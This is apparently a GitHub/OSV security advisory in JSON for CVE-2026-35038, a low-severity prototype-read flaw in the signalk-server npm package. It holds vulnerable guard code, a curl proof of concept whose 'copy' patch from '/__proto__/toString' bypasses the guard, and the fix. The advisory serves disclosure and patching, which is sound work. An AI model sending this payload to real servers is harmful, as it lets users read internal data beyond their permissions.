CVE-2026-35038: Signal K Server Arbitrary Prototype Read Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-qh3j-mrg8-f234",
  "modified" : "2026-04-03T04:04:22Z",
  "published" : "2026-04-03T04:04:22Z",
  "aliases" : [ "CVE-2026-35038" ],
  "summary" : "Signal K Server: Arbitrary Prototype Read via `from` Field Bypass",
  "details" : "## Summary \n\nThe /signalk/v1/applicationData/... JSON-patch endpoint allows users to modify stored application data. To prevent Prototype Pollution, the developers implemented an isPrototypePollutionPath guard. However, this guard only checks the path property of incoming JSON-patch objects. It completely fails to check the from property. Because JSON-patch operations like copy and move extract data using the from property path, an attacker can construct a payload where from targets /__proto__/someProperty, completely evading the security check and successfully executing an Arbitrary Prototype Read.\n\nWhile this does not allow arbitrary code execution (as the destination path remains protected from __proto__), it does allow a user to exfiltrate internal Node functions and prototype state into their own application data.\n\n## Vulnerability Root Cause \n\nFile: src/interfaces/applicationData.js (Lines 48-57)\n```\nconst DANGEROUS_PATH_SEGMENTS = ['__proto__', 'constructor', 'prototype']\n\nfunction isPrototypePollutionPath(pathString) {\n  const segments = pathString.split(/[./]/)\n  return segments.some((seg) => DANGEROUS_PATH_SEGMENTS.includes(seg))\n}\n\nfunction hasPrototypePollutionPatch(patches) {\n  return patches.some(\n    // [!VULNERABLE] Only checks patch.path, completely ignores patch.from\n    (patch) => patch.path && isPrototypePollutionPath(patch.path) \n  )\n}\n```\nAt Line 201:\n```\nif (hasPrototypePollutionPatch(req.body)) {\n  res.status(400).send('invalid patch path')\n  return\n}\njsonpatch.apply(applicationData, req.body) // jsonpatch natively resolves 'from'\n\n```\n## Proof of Concept (PoC)\n\nVerify the Developer Guard Works (The Blocked Payload):\n```\ncurl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '[{\"op\": \"add\", \"path\": \"/__proto__/polluted\", \"value\": \"hacked\"}]'\n```\nResult: 400 Bad Request - invalid patch path\n\nExecute the Bypass (The Malicious Payload):\n```\ncurl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '[{\"op\": \"copy\", \"from\": \"/__proto__/toString\", \"path\": \"/stolen\"}]'\n```\nResult: 200 OK - ApplicationData saved The security guard is bypassed and the json-patch engine successfully copies the __proto__ internal function reference.\n\n<img width=\"1222\" height=\"230\" alt=\"Screenshot 2026-03-24 150440\" src=\"https://github.com/user-attachments/assets/5ae580fd-284f-4bef-adc8-31b50b8751b6\" />\n\n## Security Impact\nThis vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should.\n\n## Fixing Arbitrary Prototype Read\n\nThe hasPrototypePollutionPatch function must be updated to inspect ALL path-related fields:\n```\nfunction hasPrototypePollutionPatch(patches) {\n  return patches.some(\n    (patch) => \n      (patch.path && isPrototypePollutionPath(patch.path)) ||\n      (patch.from && isPrototypePollutionPath(patch.from))\n  )\n}\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "signalk-server"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.24.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/SignalK/signalk-server/security/advisories/GHSA-qh3j-mrg8-f234"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35038"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/SignalK/signalk-server"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/SignalK/signalk-server/releases/tag/v2.24.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-125", "CWE-20", "CWE-200" ],
    "severity" : "LOW",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-03T04:04:22Z",
    "nvd_published_at" : "2026-04-02T17:16:27Z"
  }
}